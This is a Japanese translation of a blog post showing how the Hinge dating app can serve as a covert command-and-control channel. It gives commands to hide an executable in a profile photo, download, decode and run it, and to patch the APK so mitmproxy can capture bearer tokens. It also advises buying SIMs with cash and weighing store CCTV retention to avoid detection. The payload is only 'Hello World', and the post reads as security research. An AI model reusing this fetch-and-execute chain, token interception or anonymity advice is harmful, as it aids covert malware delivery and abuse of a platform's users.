
2026/01/04 23:08
「Hingeをコマンド・アンド・コントロールサーバーとして利用」
RSS: https://news.ycombinator.com/rss
要約▶
Japanese Translation:
## Summary この記事は、Hinge の弱いセキュリティ体制を悪用して、同アプリを隠しコマンド・アンド・コントロール(C2)チャネルに変える概念実証を示しています。アプリには証明書ピニングがなく、公開 API エンドポイントが露出しているため、攻撃者は以下のような呼び出しをリバースエンジニアリングできます。 `https://prod-api.hingeaws.net/content/v2/public?ids=<userId>` この URL は、すべての写真・キャプション・回答・メディア URL を返します。 Python スクリプト(`enc.py`)は、バイナリペイロードを画像にエンコードし、プロフィール画像としてアップロードし、その後取得してデコードして任意コードを実行する方法を示しています。中間者攻撃(MITM)を行うために、著者は `network_security_config.xml` をパッチし、アプリが平文トラフィックとユーザーインストール証明書を受け入れるように設定します。その後、APK を `uber-apk-signer` で再署名し、パッチ済みバンドル(`base.apk` とスプリット構成)を `adb install-multiple` でインストールします。mitmproxy をセットアップすると、攻撃者は Hinge の API へのリクエストをキャプチャし、以下の認証ヘッダーを抽出できます。 - `x-app-version` - `authorization Bearer <token>` - `x-device-id` - `x-install-id` GitHub リポジトリ(https://github.com/matthewwiese/hinge-command-control-c2)には、すべてのスクリプト、パッチユーティリティ、およびドキュメントが含まれています。著者は、Mint Mobile の無料トライアル SIM や eBay / Target / Best Buy で購入した電話番号を使用すると、テストアカウント作成時に検知を回避できると述べています。 Hinge の写真は公開されており、各エントリにはメタデータ(`cdnId`、`contentId`、`url`、寸法)が含まれているため、ステガノグラフィックペイロードの自動ダウンロードが可能です。記事では、Mauro Eldritch の DEF CON トークで公開回答欄にデータを埋め込む方法が引用されており、ソーシャルデーティングアプリを隠し C2 インフラとして利用する広範な脅威を強調しています。 **Implications:** ユーザーは無害に見える写真を介して秘密のデータ外部転送やリモートコード実行のリスクがあります。Hinge は評判損失、潜在的な規制監査に直面し、証明書ピニングの導入、API コントロールの強化、またはコンテンツサニタイズを検討して脅威を軽減する必要があるでしょう。
本文
免責事項
この内容は、アプリを修正し MITM を行う必要があるため、Hinge の Hacker One 開示ページでの検討対象とはなりません。この手法は複雑ですが、脅威 actor が有効に利用できる可能性があります。注意が必要です。ランダムな要素を C2(コマンド&コントロール)として作成することは無料で楽しい娯楽であり、Mauro Eldritch のデモのように実演できます。
リポジトリ
https://github.com/matthewwiese/hinge-command-control-c2
アカウント設定
Hinge が Android デバイスにインストールされていると仮定します。
最初のハードルはアカウント作成です。電話番号が必要になります。
- 使い捨て Google Voice 番号は現在広く検知されるため、あまり利用しません。
- 最適な調査手段として Mint Mobile の 7 日間トライアル SIM が見つかりました。
- この番号は既に Hinge アカウントに登録されている可能性があるので、複数取得してください。
これらは eBay で購入するか、Target、Best Buy などの店舗で現金で直接入手できます。
CCTV 撮影を心配している場合、多くの店では映像を 1 か月未満で保管しますので、その点も考慮してください。
ペイロード
必要なファイルはすべて GitHub リポジトリにあります。
概念実証用 Python スクリプト (
enc.py) はバイナリを画像へ視覚的にエンコードします(numpy と PIL が必要)。
-
「Hello World」を出力する簡易 C プログラムをコンパイル:
gcc -s payload.c -o payload -
エンコード:
python enc.py encode payload payload.png -
画像を Hinge にアップロード。
Hinge は内部で変換して CDN に保存しますが、熟練したステガノグラファーなら回避できる可能性があります。
Hinge は動画のアップロードもサポートしています。多数の画像やフレームを連結すれば、より大きなデータ量を格納できます。
Hinge の写真は公開
Hinge の非公式 API への理解は GitHub リポジトリから得られます(Reed に逆解析のお礼)。
プロファイルの秘密ユーザー ID を知っていれば、公開データを取得できます:
curl -H "x-app-version: 9.103.1" \ -H "x-device-platform: android" \ -H "authorization: Bearer <TOKEN>" \ -H "x-device-id: <DEVICE_ID>" \ -H "x-install-id: <INSTALL_ID>" \ "https://prod-api.hingeaws.net/content/v2/public?ids=<USER_ID>"
ヘッダーは必須で、無ければ Hinge はリクエストを拒否します。
成功すると JSON が返り、写真と回答(自由形式テキストフィールド)が含まれます。そのうちの一つに公開鍵を埋め込むことも可能です。
レスポンス例(抜粋)
[ { "userId":"3800512239643919861", "content":{ "photos":[ { "cdnId":"pu6fv3qbtwfwl4m34r2h", ... "url":"https://media.hingenexus.com/image/upload/pu6fv3qbtwfwl4m34r2h.jpg" }, "...more photos..." ], "answers":[ { "contentId":"7b3df417-c879-4943-bba1-277f50a1b15c", "response":"Hack the planet", ... }, "...more answers..." ] } } ]
画像のテスト
wget https://media.hingenexus.com/image/upload/pu6fv3qbtwfwl4m34r2h.jpg python enc.py decode pu6fv3qbtwfwl4m34r2h.jpg payload2 chmod +x payload2 ./payload2
出力は「Hello World」になるはずです。
アプリのパッチ
Hinge は証明書ピンニングを実装していないため、MITM が簡単に可能です。
ルート化した端末ではシステム信頼ストアに cert を追加できますが、検知されやすいです。
代わりに USB デバッグを有効にした純正 Android フォンを使用します。
手順
-
Hinge APK の取得
adb shell pm list packages | grep hinge # => package:co.hinge.app adb shell pm path co.hinge.app # => base.apk, split_config.arm64_v8a.apk, split_config.xhdpi.apk -
APK の取得
adb pull /data/app/…/base.apk . adb pull /data/app/…/split_config.arm64_v8a.apk . adb pull /data/app/…/split_config.xhdpi.apk . -
network-security-config XML を作成
cat > nsc.xml << 'EOF' <?xml version="1.0" encoding="utf-8"?> <network-security-config> <base-config cleartextTrafficPermitted="true"> <trust-anchors> <certificates src="system"/> <certificates src="user"/> </trust-anchors> </base-config> </network-security-config> EOF -
バイナリ AXML に変換
java -jar xml2axml-2.0.1.jar e nsc.xml nsc-binary.xml -
パッチ済み APK へ注入
cp base.apk base-patched.apk mkdir -p res/xml cp nsc-binary.xml res/xml/network_security_config.xml zip -d base-patched.apk "META-INF/*" zip -u base-patched.apk res/xml/network_security_config.xml java -jar uber-apk-signer-1.3.0.jar --apks base-patched.apk -
スプリット APK も同様にパッチ
mkdir install cp split_config.*.apk install/ for apk in install/split_config.*.apk; do zip -d "$apk" "META-INF/*"; done java -jar uber-apk-signer-1.3.0.jar --apks install/ -
再インストール
cp base-patched-aligned-debugSigned.apk install/ adb uninstall co.hinge.app cd install adb install-multiple base-patched-aligned-debugSigned.apk \ split_config.arm64_v8a-aligned-debugSigned.apk \ split_config.xhdpi-aligned-debugSigned.apk
リポジトリには自動化用のスクリプト (
patch.sh) もあります。
Man‑in‑the‑Middle
Android フォンを
mitmproxy 用に設定します。Hinge を開くと、mitmproxy インターフェースでリクエストが表示されます。
ユーザー ID とキー情報はさまざまなリクエストで確認できます。例:
https://prod-api.hingeaws.net/user/v3
ここから必要なヘッダーを抽出し、前述の
curl コマンドに使用します。
おめでとうございます!
これで Hinge を使って控えめなアブストラクト表現主義ピクセルアートを配信できるようになりました。Happy New Year.